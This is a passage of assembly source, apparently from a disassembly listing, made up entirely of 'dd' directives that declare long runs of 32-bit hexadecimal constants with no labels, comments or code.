		dd 5664E423h, 0A4082966h, 0B20947F5h, 4B4CE4A6h, 0BF6B943Bh
		dd 0FC25BBF3h, 18C8B510h, 0CF4739BAh, 6D180927h, 62E471FEh
		dd 61F06208h, 0CBAAFA38h, 1C21B085h, 0E7F3F797h, 0F44B9D77h
		dd 28FF3B61h, 400E1192h, 0D15784C9h, 91C02892h,	84D83975h
		dd 2F82A602h, 29AA56D5h, 0F87FB415h, 0B767C0F4h, 0D4505DDh
		dd 0EF400F06h, 5F6F43E2h, 0EC2A2A26h, 99F59E52h, 7981F482h
		dd 4D1A6F48h, 0F5CD4AF3h, 0E1FB5832h, 69397DB7h, 3C6F35Dh
		dd 0BB023750h, 9E904090h, 59726B53h, 82D70BE0h,	0AFC40617h
		dd 6F0BC76Eh, 0E2547CC8h, 7B09166h, 9707A71Dh, 0ADD8DD77h
		dd 7DE589CDh, 252DF5D7h, 4451ABF8h, 7F6F2859h, 6F5D67ADh
		dd 0F3B77A57h, 29B0A8DAh, 2CDC6B68h, 0E1B6F8A7h, 0FBE13450h
		dd 0CCEA5186h, 4F1E5287h, 0D7797BCAh, 0FB30EE19h, 72649496h
		dd 655FC01Dh, 8FD9B3E9h, 401E64E4h, 76D9642Ch, 50E7CA3Eh
		dd 624F45C0h, 2A81EC4Ah, 77E64257h, 0A1650AEEh,	7539CD6Eh
		dd 3FBA1D60h, 3C43DB74h, 0C6361170h, 6AC3B414h,	0CAA0AB9Eh
		dd 3272D703h, 0E58F4CE6h, 9923E28Bh, 0B82A50ADh, 0E361CAFEh
		dd 1519BAE3h, 0C8899862h, 0A61F11BAh, 734CFA67h, 4D8934D7h
		dd 9AFB5EAAh, 332445B6h, 60379550h, 4E52F929h, 6467C095h
		dd 79917D8Eh, 36B98146h, 2F2D8AD5h, 67B6F36h, 5BB84433h
		dd 0A591B5F7h, 0A552AB76h, 44B64714h, 6DED8F9Eh, 7CEEDD6Fh
		dd 5390697h, 0A569A213h, 1F135FFCh, 33FAEE75h, 41B456C4h
		dd 8BCC8AA1h, 0DB68AC77h, 0E02A67D6h, 339202Fh,	679A6B58h
		dd 9338110Ah, 3F281156h, 0AA5C755Bh, 53F9025Eh,	7933726Eh
		dd 101803A3h, 6EACB794h, 688543CEh, 2761A51Ch, 0D467A00Dh
		dd 0F18EBB65h, 152A1A5Ah, 0B929EF8Eh, 359C2800h, 0B8A97D89h
		dd 10E360FDh, 711BEC3Ch, 2C8D2056h, 14CA1417h, 0F2EEA6F4h
		dd 0AB987BCEh, 0F6C121ACh, 0A40E0032h, 8672B19Eh, 0DFCB907Dh
		dd 29250582h, 0DE7B707Ah, 0C4964EEDh, 0E9922AE2h, 0DF9AA89Ah
		dd 10601EFAh, 68313EE2h, 0B4ECA7E4h, 2015E1E1h,	0DED6CCF5h
		dd 0B9F3D4A6h, 12C69994h, 6111426Dh, 83334C5Ah,	8BFC34B5h
		dd 0CC3B2FB3h, 1DC5E587h, 937C8757h, 6F7B00FBh,	0E21159B2h
		dd 0DB15A20Dh, 0EDD6A40Ah, 0F74CCACBh, 2F095578h, 0E789DA03h
		dd 7958D6C5h, 4EA29B3Ah, 0C7CE0FF5h, 4AEDE689h,	8D366A67h
		dd 0FA5EE0E0h, 0C6541041h, 0B52A580Ah, 696CE096h, 78D30B0Dh
		dd 6859D539h, 9180CCD1h, 3543D1EEh, 9AA79B16h, 0CD94657Dh
		dd 0DD7008BBh, 11DED196h, 0EE9F8874h, 0AA286050h, 0D273228Dh
		dd 40361A28h, 657E0968h, 8282983h, 0A858CB41h, 0C09E5246h
		dd 0D6571B05h, 1A5BDED6h, 175A6BE8h, 0E0B4AF61h, 208716CFh
		dd 253DC571h, 96D728D9h, 9AA037D9h, 6B07FF7Ah, 140EEF8Ch
		dd 68182210h, 7FC4612Bh, 0C54D664Ah, 711A5CDh, 0A5E7EBF4h
		dd 6557C017h, 7E864F66h, 3EAE7664h, 36B8F1A6h, 53B2FAAAh
		dd 7AADB6EEh, 2204F5CAh, 58E5BB8Ah, 119EFBCCh, 5E1D0498h
		dd 5DC42A6h, 8AEA7E55h,	0A7C01990h, 0C7EFBF04h,	1715F312h
		dd 23EE85h, 4DC3E266h, 0C9EF6D02h, 0D83857AFh, 0CA539E70h
		dd 74B9D5BFh, 0E7365AB8h, 6CD3E88h, 436F1A33h, 54B58280h
		dd 0F16DF9DFh, 0B143AEh, 94D3B69Ah, 54106B07h, 4BCD4A37h
		dd 700374B8h, 1CAF48D0h, 331114FCh, 1544DC08h, 376EEA5h
		dd 274DED40h, 4A40374Fh, 7E269574h, 4AF89435h, 0E74F8BE5h
		dd 3DF754E8h, 0E249711h, 0D7CE20C0h, 8519BF69h,	0A1A03451h
		dd 3EBC45D4h, 0E538EA5h, 0B38E86F1h, 6ECA340h, 0D4E1C19Ch
		dd 0F0D1FCE2h, 0D4143AA2h, 0A0BB7D57h, 61F2A951h, 0B856A84Bh
		dd 0ECFC2D6Bh, 0D1D21A0Bh, 81A76839h, 191EE448h, 350AA5ECh
		dd 51BA52D6h, 467FEB11h, 568E0A75h, 0D6AF6467h,	33708601h
		dd 0DF752449h, 4C5B14C4h, 0F236D905h, 99E194DEh, 1629AEABh
		dd 0D6D0BEB7h, 0D2E7DC68h, 0DF867791h, 6C1F2C4h, 0CD7CBC4Ah
		dd 96E2611h, 935D269Ch,	153E514Fh, 27527E29h, 9508F699h
		dd 0DD4417DAh, 2D21AC65h, 0E1537777h, 0F4E2ACA8h, 85E77EEBh
		dd 485F6BDh, 0F2BC1C84h, 0BA541F3h, 0FB37075Dh,	0CAB742FCh
		dd 7C9A1197h, 3EC6E8D5h, 517C1B4Ch, 0DA4399ADh,	7C1DC094h
		dd 0A07F9372h, 0F71C48AFh, 77E79D3Ch, 981CAD93h, 4CB9A656h
		dd 0A8722315h, 0E8835997h, 0C62FEABCh, 503EBA51h, 8FBF1752h
		dd 0A9E11FF0h, 0E98B1073h, 3F941E8Ch, 0D203297Ah, 0B05BA8BBh
		dd 568F3243h, 152645F0h, 8C8BFA14h, 0A356813Ch,	60D13EB5h
		dd 2FC1F238h, 2716E37Dh, 374FF465h, 0F15C0BE1h,	0FEC81A33h
		dd 415A8B09h, 2D78733Bh, 49F4000Dh, 359DB435h, 0DCF8F78Ah
		dd 0BF1E353Ah, 0AC124F14h, 0A7871EF1h, 6BBC7264h, 0E48B8237h
		dd 6B4F111Bh, 4C6E95F9h, 0EA05C633h, 7A4A361Dh,	97A7562Ah
		dd 0E132C19Dh, 0ABE1B371h, 2D62168Ch, 0B677B693h, 5CA5DB55h
		dd 9B594DF3h, 19C1A686h, 7B66137Ah, 30E9AB5Ch, 2B42EA0Bh
		dd 0B311A34Ch, 0D33A503Ah, 0A02BFFDEh, 1C225F86h, 6CC2D419h
		dd 6D3779B5h, 0BAAA9499h, 1251E99Dh, 0A72BC298h, 586B0487h
		dd 0F0884B9Fh, 30B70B6h, 9E48AE81h, 0E84062B3h,	0E258BA7Eh
		dd 816BC7B0h, 875178BDh, 1F4BD647h, 274E2530h, 0EFC88C32h
		dd 0D87E92F3h, 0B12668FCh, 0E451CD53h, 0D2A728EEh, 2F811C28h
		dd 0F446302Bh, 0E727BC0Bh, 909D1815h, 0AA0135CDh, 0C12BDF56h
		dd 0F29DF4DFh, 69F853FDh, 55856C9Eh, 5FDEB8B8h,	566AA02Ah
		dd 60395B9Ah, 0A14296F5h, 0A713187h, 5FC014D4h,	88C95397h
		dd 0A62C480Bh, 0C00ECF89h, 0E3086269h, 8B5963AAh, 0B28C7154h
		dd 0E631EA59h, 76345AD5h, 0F93158DAh, 28C55851h, 0EEE7D84Dh
		dd 0C2F97067h, 0B1A3B9FEh, 0D1EF1ABAh, 6959A995h, 0ABF781AEh
		dd 4E74849Dh, 0AC1C0276h, 0A5D02C05h, 0E3B80E16h, 3D246018h
		dd 0AD59DC65h, 0CDABAEh, 950D0694h, 0FE316F9Bh,	0A56B7F89h
		dd 3BEE9398h, 3F0B5DC8h, 1126E29Fh, 8ACDA11Dh, 0D369475Bh
		dd 7CFEB217h, 61B0440Dh, 0B6EB470Bh, 13BCBE4Ch,	78FA5DA2h
		dd 14B7EDCBh, 1A45150Fh, 0BB824D06h, 0F0E74F15h, 5A1F5175h
		dd 0A71EC94Eh, 0E52DDC28h, 272C789Bh, 4DC6B6E5h, 2EE86FB3h
		dd 0DB2C9250h, 4F754683h, 582A4627h, 986C8DE5h,	8454F6D5h
		dd 0D3A95B02h, 0EE18DD33h, 79313335h, 0B91E0F12h, 0A5F983BCh
		dd 0D632248Fh, 27A093CBh, 33D11411h, 2B2F01D9h,	9DD1DB30h
		dd 762FE515h, 3095EB71h, 0B6B78F6Fh, 8965D4B5h,	41605223h
		dd 94273B7Fh, 568137EFh, 0D2645E25h, 73792DAAh,	687DE0ABh
		dd 0F6B6FDF6h, 0FA1C8AA8h, 0BFA8DC92h, 839ACF54h, 0B86773E0h
		dd 5E78685Bh, 8A3E9BEDh, 51705D68h, 0E0808F53h,	7E76B8F1h
		dd 7A650E82h, 7EFBABDEh, 0BA5CD1A4h, 0F54D549Eh, 0FF03109Fh
		dd 0A66EAE1Bh, 0CD814C42h, 0C59DA1CAh, 1861D61Dh, 0EE839F4Bh
		dd 0AFC68A7Dh, 0E9A175D1h, 236219A0h, 8B3F05C8h, 6E3D1938h
		dd 0C5CB95F0h, 8793F3DFh
		dd 8A0F2FB9h, 8E2B6ADAh, 0E5110292h, 222E98B5h,	0C88CA36Eh
		dd 0E12BBEBBh, 3C1EDBABh, 0D447A62Ah, 48680CDBh, 10476898h
		dd 3E648294h, 570319B7h, 3A11E8Ch, 0E7A51E56h, 10E98E64h
		dd 0C1652056h, 7C9DFB94h, 0AF7A10C7h, 5E8B33ACh, 8624038h
		dd 3CB23EB6h, 4BFB8F38h, 0F41F9FBDh, 3DDD3ADAh,	5BE1D229h
		dd 0CCE516E7h, 895637AAh, 1469A444h, 50E61E46h,	37D02027h
		dd 5631BCB1h, 4D94D6ABh, 3C9A4DCCh, 3E5265EDh, 88AB3C9h
		dd 11A7C701h, 0D675938Ch, 15AA4415h, 0C8201418h, 9E7686D0h
		dd 1E32BC00h, 9109C54Ch, 24B076F3h, 0EDDB57Bh, 0E4F91F00h
		dd 752118Ah, 8A95DB65h,	12F31A1h, 21844D31h, 5C45384Eh
		dd 0D98713EAh, 0E4F74EC1h, 0EF4E68ADh, 71E0CFFBh, 0E2CEEED2h
		dd 78C1A234h, 49C8DF8h,	5E1FB918h, 0FB1C06DAh, 2120FA94h
		dd 13BB2DE0h, 2E93AEA8h, 1D7D9Bh, 737E20E1h, 67176E91h
		dd 0A9ADDDB3h, 0FE7F9499h, 0C84CFD51h, 776D6E82h, 4C7C54DEh
		dd 0A2AC862Ch, 3F31D2h,	0E5E626E8h, 2CEBFB72h, 169F6DE0h
		dd 0B59080E5h, 1E2A4FF8h, 9152D5A7h, 0BECD975h,	641317F0h
		dd 0B8927833h, 21A75062h, 0EDC91AFh, 0AAF18131h, 9475B928h
		dd 8A5570F0h, 2C73EE10h, 0EAE14F26h
		dd 0FEE89BFDh
		dd 16955D81h, 6A458717h, 120F9046h, 5ADF2A71h, 0CC5703E2h
		dd 7F7F49E2h, 0B49C102Ch, 3A4B65Ch, 1E3086AAh, 0D3E49B12h
		dd 2AE30038h, 0A877A1C1h, 0EA07E1D8h, 0F9368FE5h, 9607BAAEh
		dd 0FE49353Eh, 0FB72FB3Eh, 0E55BA32Ah, 5921551Eh, 0F3197D19h
		dd 38F4A1F4h, 5541574Bh, 0A7D471AFh, 0E32DCB96h, 0DEB884DFh
		dd 91150E9h, 35EEFF17h,	0F2360809h, 8DDC90CAh, 0CC5DA41Ch
		dd 0E3883588h, 962523C1h, 0AE6B1CCEh, 0BB9B4DBEh, 0E4BE6516h
		dd 0ABD68A9Fh, 0D42D57BFh, 0D9CA4B7Ah, 14CA5330h, 732DB959h
		dd 0CA462D95h, 18ED2F42h, 0C8E830E3h, 11A4C770h, 0CAA8175Dh
		dd 9169FB9Eh, 0EC5076C9h, 0B5374950h, 0E9071B89h, 0F0B76EB5h
		dd 56F9147Eh, 0F24E1857h, 57120481h, 0A66490C9h, 89AB5231h
		dd 0FD6C62CBh, 4F0F5D11h, 0D6BB58B8h, 7308B4F6h, 0D47A56AEh
		dd 807E09CEh, 0E4ED2CB4h, 5649E519h, 0BEB8304Ah, 95C79122h
		dd 68E078Eh, 969BF7A4h,	0C07F2BEBh, 4D2294B0h, 1FBDBB6Ah
		dd 93C1F231h, 0C2A414A7h, 434C6CDAh, 9AE8BC06h,	61B58DB9h
		dd 2B3FCC33h, 78E88FC1h, 0AEABB2D2h, 0B5510E8Ah, 97E59BC5h
		dd 0D32B7D1Bh, 7705751Ah, 2F909EBCh, 0B145B5E5h, 0EC32E600h
		dd 864639C0h, 0C780B3D2h, 0EC7F110Ch, 7945A242h, 0ABEEB6CDh
		dd 0EC80A0D1h, 0F0576759h, 0B45B59EFh, 0A39724E8h, 0FAE97953h
		dd 0BC2B6804h, 157526F4h, 0F74A4EB0h, 0B9DDABE1h, 8DCE2730h
		dd 3C20E527h, 0CFF7E491h, 5B91CD3h, 853FED7h, 989B026Ch
		dd 0EF8DBB2Ch, 0EF9494CEh, 0D97A10BEh, 8F671E77h, 83D6342h
		dd 0AD6DA62Ch, 5F5FEDCCh, 47D899B4h, 7ED29805h,	66AC7AE6h
		dd 0C034B483h, 7BB9144Ah, 3AE11573h, 27888178h,	0C651980Dh
		dd 0F1AEAC59h, 9A34956Ch, 0CF7C34C9h, 5CCD3062h, 7A61BE9Ch
		dd 0ED46C65Fh, 8A3AA2DDh, 4152D86Ch, 102441CFh,	9E6318D8h
		dd 0F73C204Fh, 0C41CE523h, 88BFB173h, 391A264Eh, 74F3A25Dh
		dd 16FAB3B3h, 0C84B86CCh, 7B046EF6h, 63780BD3h,	0EF2CABF7h
		dd 62DAED9Ah, 69206537h, 0F7B1D4E9h, 8E6115E4h,	6D8F254Ah
		dd 647CEF33h, 0C0287A12h, 9D414E6Ch, 0A2E3720Fh, 9A7F567Eh
		dd 0D1FF1284h, 466D1F41h, 3BEE73B3h, 0EA287657h, 83382392h
		dd 0C69F7CF4h, 380AC439h, 69A3EB19h, 737C0533h,	96410A5Dh
		dd 159AD3BCh, 0E3760968h, 289A9F7Eh, 65FB1FD5h,	5E760A21h
		dd 720F0CAEh, 32EB7D4Ch, 95C4690Fh, 244540Ah, 9647E860h
		dd 31E7529Bh, 333F1A63h, 0DBCCEF83h, 23111A83h,	6E583039h
		dd 8D9B4FCBh, 16FBA445h, 43DD1CC7h, 0D3761677h,	2E1E1089h
		dd 0C10655D2h, 0CD886FB7h, 0DE62FB80h, 80DBDD8Fh, 6C920ACAh
		dd 774653EDh, 46DF96DBh, 0DD651A3Ah, 0CB6B6CACh, 720C4499h
		dd 22375CE7h, 6AD5EB4Dh, 0A72B8D93h, 0FAD0232Dh, 5643ECD8h
		dd 0C9FE6D70h, 0DB5622EFh, 85147B6h, 0FD9E2B4Dh, 0E9AE7ADBh
		dd 0D1689B88h, 0EF8015BEh, 66771DF8h, 0C1A15D08h, 14324864h
		dd 6E679DDh, 9E4A1EFh, 0CBECDAF8h, 0CB7EAFC6h, 44857F18h
		dd 79A2867Ch, 22AABED3h, 2977263Ah, 80351A26h, 0EA8DA9FCh
		dd 0EC487DA0h, 28F6F0D2h, 7D5D9E2Bh, 73FC6D67h,	430C2F2Bh
		dd 64F69C96h, 2D2DF5A8h, 4D301A9Dh, 0ECA8793Bh,	0A400894Fh
		dd 8FA55820h, 330D30D9h, 0E0DD1E7Ah, 6680E362h,	0A97240D5h
		dd 15E7C10Eh, 0CD57D663h, 29540617h, 0AB863A74h, 580F953Ah
		dd 86AA96B8h, 56F3CA97h, 580AFFEFh, 9950C4B9h, 7B376465h
		dd 3B7A576Ch, 6E89504Dh, 3D781DE4h, 0A3A540E6h,	2B048E44h
		dd 0EF9A3A30h, 0CE677BF0h, 0C28D3291h, 8F8474BBh, 65728FEAh
		dd 9927096Eh, 855A577Dh, 360A6B51h, 0A9F0AB78h,	0E0C840B0h
		dd 7197B6Fh, 0B5448195h, 0DF24D77Bh, 1489139Dh,	0D4DC1A4Bh
		dd 9E96AC02h, 0F2E537Eh, 91EE95Fh, 0E8F3BFE8h, 65B991ABh
		dd 5F3E608Bh, 899773C2h, 820ECAF1h, 0B4D17E9Fh,	0AABB7E2Bh
		dd 60228FDAh, 3D1FBC0Fh, 556CB840h, 9722E480h, 17F0334Dh
		dd 0FA7BBC45h, 8A4E030Dh, 5061AFE1h, 0A11B088Bh, 0E68C107Ah
		dd 0AA6D3302h, 66AC81C9h, 34FB72C3h, 37844A65h,	93C163A2h
		dd 0AF66C015h, 0B893038Ah, 9A6F7A4Fh, 97CAC973h, 0FF1CBDE8h
		dd 0DA55DE2Eh, 527EC951h, 0C3C05A2Fh, 7704C21Ah, 0A77B4EEDh
		dd 0C36E32EDh, 646AB61Fh, 0B0D4F9B8h, 7F234521h, 0CC608EA8h
		dd 414B64DEh, 7492217Bh, 4373053h, 0D79E94AEh, 8D8300Dh
		dd 9CE7FED7h, 8E2D66D0h, 0A6F62751h, 78562786h,	9EE0AFC3h
		dd 620CB16Bh, 6872418Fh, 0BA6E9F65h, 512BF601h,	0F4790FB6h
		dd 88A75630h, 23E9E5BFh, 70DE49Dh, 834C2B05h, 0ABB09E55h
		dd 869B4348h, 363DBE9Ah, 0DE3E76A1h, 0FBBC1F63h, 927DF358h
		dd 0F0F34AB6h, 0A2B91D5Dh, 49222C11h, 82F3AE18h, 328CAB44h
		dd 40C2AB08h, 5947E318h, 0C037ED53h, 95DEF7F9h,	3AC88CE3h
		dd 9CD52EECh, 7B7E49AAh, 977DE66Dh, 352CF731h, 2E6B8638h
		dd 58EAC6C3h, 0F73686C7h, 0F6A292D0h, 0A620C8C2h, 1EDC8E28h
		dd 451C33D9h, 3C8BA6DAh, 0C8FD2EFFh, 1488559Ah,	0D3D2535Dh
		dd 0B60D9829h, 6B07CC0h, 7B9519FBh, 4FAB438h, 0AC439CE7h
		dd 0FBD1C5D9h, 0A45FF4B8h, 0E8719927h, 0D3A2BD36h, 16D21ACCh
		dd 452E0C7Bh, 0FDF65CD7h, 0D479E6EAh, 0EC415D59h, 47A6A73Ah
		dd 0CFEE06B3h, 0CA22FD6Ah, 4A66E43Ah, 7E2555B8h, 5E6C8C04h
		dd 0D7E9BF2Ch, 3E65C7Bh, 0F9467C18h, 152B4C44h,	0C45E639Fh
		dd 8B9C49CEh, 313C86DEh, 1917164Ah, 7C1FB7F0h, 0B63E24CAh
		dd 5B3D236Bh, 0C2CA0055h, 0E7BE1941h, 59485681h, 70381841h
		dd 0A70686CFh, 6739FDEAh, 0E529A318h, 0F7859F12h, 916C611h
		dd 48CD17D2h, 0BF9F4BC2h, 5B5E7AA2h, 8AE50998h,	0F7692011h
		dd 0C5104D51h, 0CBCD9284h, 4F0D5272h, 31E66E26h, 0A6E45A80h
		dd 841C16DEh, 5158A30h,	0B8E9D859h, 0C3855EFEh,	98DA4C67h
		dd 0E4F93935h, 63C898F5h, 22897AFCh, 6A9ACB38h,	3E60183h
		dd 60D19218h, 6FBF9C8Dh, 53895A22h, 79A9061Dh, 9D401731h
		dd 0A3CD8005h, 0B9E632D6h, 61F0B83Ch, 0CF6791F2h, 0BE8273F5h
		dd 0A4706144h, 0EC71D029h, 0FB67E4B9h, 0DC65AE59h, 5D4E0868h
		dd 20FF15B0h, 0ED24D78Fh, 66DDABE5h, 0CA1C9A34h, 8381E26Fh
		dd 315A8D76h, 89CFE136h, 65C1C017h, 0E0DFDC43h,	29145F0Fh
		dd 2F3E058Fh, 0B98E3F20h, 76FC586Bh, 7D87065Dh,	43120582h
		dd 92D5DEF8h, 69B7AD20h, 24D31B27h, 9D514150h, 0AC8EB81Dh
		dd 3E50793Ah, 47E44579h, 0D33C5CB0h, 78734C86h,	2EA8BC06h
		dd 2073BFF0h, 7F95F2BFh, 36B23D8Eh, 8CCEA24Bh, 0A0BC0BA9h
		dd 40A1A2Dh, 344F7B49h,	27521D3Fh, 60CDF3C0h, 0A0733829h
		dd 0F0E1153Bh, 3E85EE1h, 0BE25B041h, 6E6C897Bh,	516A0119h
		dd 0F06AEAEDh, 929873C7h, 0CA4DCB25h, 46BA74F2h, 40F1DAD2h
		dd 117C132Fh, 9E70BE8Ch, 304431EAh, 4CE4A36h, 96B2D5FEh
		dd 61130EE2h, 73EE141Eh, 0FEC9C496h, 2AC28D6Ah,	26A76568h
		dd 86EA0E45h, 0BF0ECDD3h, 9B497D6Bh, 0D38B396Fh, 0F69B7E12h
		dd 5B73DE4Eh, 914DDC12h, 0D3D2C5CCh, 4DA5EF0Bh,	3BDBEA0Bh
		dd 78675815h, 0E52E86C0h, 54EF9F1Ah, 0ECD2E6EDh, 10E2DABEh
		dd 39A95F3Ch, 68AA6B84h, 0D9D57232h, 0E5A5B23h,	0FE1D4D82h
		dd 48BE6BCDh, 65642C5Dh, 36BAA0F9h, 0E906763Ch,	1541C2E9h
		dd 31B7DFDBh, 0E918DE99h, 12583FC4h, 1665A38Fh,	45531C52h
		dd 99BA79BEh, 95D97CEBh
		dd 5B468A42h, 0A9F8CE46h, 0E1D23124h, 0CF84FF39h, 4DB416C0h
		dd 8130BB34h, 0CF6658E5h, 0ED8C3FF5h, 0F7337459h, 0BCA2ACCCh
		dd 61AA7449h, 1C8D58BFh, 174C516Fh, 0F4AF927Bh,	0BEADC078h
		dd 9FC42079h, 95914A35h, 0F21C52A2h, 5028D30Ch,	0F9461BDBh
		dd 42C66DADh, 6DCFA51Dh, 1369C2B5h, 75DA0A2h, 607F01E5h
		dd 9C36E121h, 4DA0712Ah, 17117F71h, 4BEF06BDh, 8DEEE76h
		dd 6F58A1A2h, 0B7713891h, 5FBBDAE6h, 0BA08EBABh, 0A0AC0A0Eh
		dd 616AEB57h, 9D5BCAB0h, 0D87B4369h, 12334845h,	0F0C95898h
		dd 0BC73178Dh, 0DDC7ACC9h, 0BEA95A56h, 948FCC76h, 0AFE6BE6Dh
		dd 43AAA4Fh, 91FFB630h,	73B100D4h, 8141676Ah, 81DD179Ah
		dd 4364C577h, 95E13D49h, 512D5BFh, 87863E14h, 9593C69h
		dd 6D438B4Eh, 0FA8BA1CFh, 91D91579h, 18880490h,	5CDA7DD2h
		dd 9674BCDEh, 5534B7CFh, 9AC93A14h, 3416C199h, 0E19DF95Dh
		dd 0EEE37A98h, 98DE5E02h, 0B26AD7F7h, 0B5F8A6F8h, 0B1DB2CBCh
		dd 707C48B4h, 0A4C59703h, 837D2928h, 8CE2A6FDh,	2C3CB069h
		dd 5B85265Ch, 20BCB229h, 53ED1C7Eh, 0BDECDA10h,	522EF9ECh
		dd 67FA8425h, 502AC4F4h, 786306C4h, 0D58EB09Dh,	92188746h
		dd 0B635656Eh, 0CC3E853Eh, 22B4E6C5h, 270934D0h, 0B7609B62h
		dd 3799ED82h, 0A265A916h, 7FA7D2E4h, 0FC4DD043h, 0E7320F2Bh
		dd 0C6C52353h, 0FA9A0EF6h, 0D4A17916h, 4AF8B56Bh, 14FE6CA2h
		dd 0FACD7122h, 2271016Fh, 0A035B3AFh, 0C125EF1Fh, 6E4BEA2Bh
		dd 8A176AE4h, 658C9AF2h, 13CC564h, 7A6A9A57h, 6CE7BC8Fh
		dd 0CE9A8B9Eh, 0C1AF372Ah, 0E97AF69h, 0C60B6326h, 0D5D42062h
		dd 0E4F4BF25h, 3034E5DAh, 0C1E133DFh, 669EEA99h, 5F086CB9h
		dd 0C6DC2E75h, 419DD0B1h, 3C43C1AAh, 0E2C48058h, 8E40BBB3h
		dd 0CFBA3B1Ch, 0DF6B7BA9h, 672A9083h, 98C93CE0h, 0EAAB8301h
		dd 85D6AFE9h, 23BE016Ah, 0CD8945F5h, 65325A6Dh,	46FB1D77h
		dd 163A3DABh, 0B0AF14ABh, 0E677ED7Dh, 8F82B588h, 0B377D971h
		dd 8A59B953h, 6383D96Fh, 0DCC1C3B8h, 0CC735558h, 0D12D158Fh
		dd 7F0A98h, 255D4D5Ah, 8F038CBEh, 94F78281h, 7DE4E092h
		dd 8EE89FE1h, 0B037ED35h, 6C3DD2BEh, 248833F3h,	5B1D1FE1h
		dd 1C7500BAh, 0A75DCD32h, 0D7529DC0h, 9B2FEDB8h, 9BC5EE1Fh
		dd 8EFCDF8Ch, 545DE528h, 2E6A3E8Eh, 72EA1D18h, 0FDAFCB76h
		dd 0B54E6F0Eh, 71066BC2h, 250772D7h, 0D77F865Ah, 8B1BEA7Eh
		dd 33F5807Ah, 81A37D36h, 6B2A9B3Fh, 0E19C1B5Ch,	0D430F26Ch
		dd 5FF4D2D2h, 0D5AF3C31h, 625AE3C1h, 0D497934Dh, 0ADF1CD53h
		dd 46129796h, 534AA5CAh, 26239E58h, 19179BDCh, 5231E78Dh
		dd 0BA89BC1Eh, 0FDD4F2ECh, 290CACACh, 1D4E96BAh, 37A333EFh
		dd 0E70BD658h, 76A09264h, 1F424AD5h, 0C40B8491h, 2B2B022Bh
		dd 0AE884F35h, 0E9E551A1h, 7DFC3AF6h, 4A039FD3h, 817950D1h
		dd 0F7B2704Eh, 0DE614AE2h, 0C655592Fh, 69BCBEFh, 0EFE1D73Bh
		dd 0C3D7B881h, 103D03A5h, 95A859B5h, 4AE6C4B0h,	0EC01324Eh
		dd 5CE8E75Bh, 0CAF18317h, 3CFA4C32h, 3290899h, 6597754Ah
		dd 353E9C4Fh, 0A758F079h, 1102DF3Eh, 532BADC9h,	0E3D076Fh
		dd 0FEFD822Bh, 0FABBB106h, 0F96C269Ah, 57BAA405h, 0D148D88Dh
		dd 6500D62Ch, 6C3E9A3Ch, 99BF555Ah, 0AC9669A5h,	7F4B3FCAh
		dd 69B1752Ah, 82567B89h, 88F8B891h, 0F0D9C40Ah,	0B9E36A04h
		dd 731972FAh, 0FC2BD526h, 0B4C29454h, 39D3CE0Ch, 0C193EBEDh
		dd 54713E2Ah, 3623A98Ah, 0FB054311h, 25FE5137h,	0C0D98724h
		dd 2EB2EE5h, 0F82D6CFFh, 0EDFF2F47h, 3C175BCFh,	0CDE9BDCh
		dd 4897067Bh, 231A3733h, 0A18FFDF7h, 0D2651975h, 0FE01A923h
		dd 62EC1942h, 91A9F17Ch, 1F77BA59h, 7ABC76C2h, 48874BA0h
		dd 0E64E2E29h, 82A6F941h, 2DCC7440h, 0C052B4FFh, 30A566AAh
		dd 1AE281DEh, 6A83EB95h, 2A2F0442h, 68AE221Ch, 0C8DF03F7h
		dd 0D9CD3B5Bh, 0AB51C693h, 7CC4FD1Eh, 81B324CAh, 0BDFB9D96h
		dd 1D1CC5DBh, 94B580F0h, 0B4DBA40h, 5BC2520Fh, 3CF0514Eh
		dd 29623C1h, 7AE4A860h,	9B0AAC53h, 0A13C3B04h, 0F63014BAh
		dd 0C3E5A024h, 985CB2E3h, 0A204F633h, 0D8E1B90Ch, 14782DF8h
		dd 0DF271F84h, 5200C44Ah, 0B0BCD600h, 87CAA219h, 0CFF205E6h
		dd 0BD3F5D3Dh, 0A67A2A4Dh, 697E6EFh, 2FB79D95h,	0F3C5A980h
		dd 3DC3A088h, 6AC7761Fh, 8659ED0Eh, 0FE719781h,	0A9A0927Eh
		dd 0F98174E2h, 0CB4FE54Ah, 0C21BA103h, 9B023595h, 8BCFBAE8h
		dd 0EEC3212Ch, 0BF8C368Ah, 0CC6EB39Ah, 1863E581h, 47ED062Fh
		dd 0FC36741Ch, 44A3951Bh, 2687E0ADh, 0E00978FEh, 8B0E4995h
		dd 1A2A6DE0h, 98D61E1Fh, 0CFFFC0FBh, 131B2ECCh,	178DD0ECh
		dd 0CFCA84D0h, 4C78017Bh, 1FF0B468h, 0AC03FC99h, 8695BF34h
		dd 0D432E149h, 0E8C90351h, 5983065Bh, 0D8FE1423h, 0A78DE59h
		dd 1508A516h, 0EAFFBFFBh, 0F77A241Ch, 974275A0h, 4AC02F81h
		dd 63432FA8h, 0CA60E86Bh, 44A2FED5h, 0B2D026C2h, 41FBDC41h
		dd 7E0260E4h, 0C1D6A918h, 90AE488h, 80D99703h, 745DC595h
		dd 8FDD1B05h, 0BFB990B5h, 0C9375D0Eh, 0C696C59Dh, 0F2511AD1h
		dd 0D1106FDCh, 917C290Ah, 1931DD4h, 4D9BD239h, 0B42FAC62h
		dd 6F943485h, 4BED48B8h, 4CC64B11h, 29B3FC44h, 8F6036EEh
		dd 9C6BEB68h, 6E1C612Ah, 0F9D7F403h, 7B3CBC11h,	45826DAFh
		dd 4040BCDEh, 52C1FEFBh, 3861CF8h, 0BEC4BA59h, 0BA027BC7h
		dd 6928F379h, 2345DDD2h, 1FCB6E6Dh, 193A507Dh, 634EB6C5h
		dd 672276DDh, 36CCDEF7h, 0A521EA64h, 0D34581ECh, 0E13A128Dh
		dd 882DCAD3h, 69D32218h, 0DBFC7335h, 0F3B2D92Eh, 0F481BA5Ah
		dd 67874F62h, 9ED99927h, 82861D5Ch, 0B5490E68h,	0B0C4FDDCh
		dd 3846BF3Dh, 76667E96h, 0C2F1F766h, 7FCF0391h,	0C8C2B8B0h
		dd 92BEF8D0h, 2A424C23h, 0DD648181h, 0F656EE7Fh, 4646A12Eh
		dd 1AC64D36h, 3D72607Eh, 0DC5CD96Ch, 84B37419h,	0C04C88EEh
		dd 0E4C8E2CAh, 0EC000AE0h, 999420CAh, 8134B5C1h, 7460293Dh
		dd 0DB120183h, 81039B49h, 11757942h, 3BDE62C0h,	4DE96565h
		dd 1C52F917h, 0C266477h, 27611093h, 0D74BDF19h,	5993A6FEh
		dd 0BF027A9Fh, 0EFFF37A6h, 4A63F674h, 29BFACD6h, 0A5B90678h
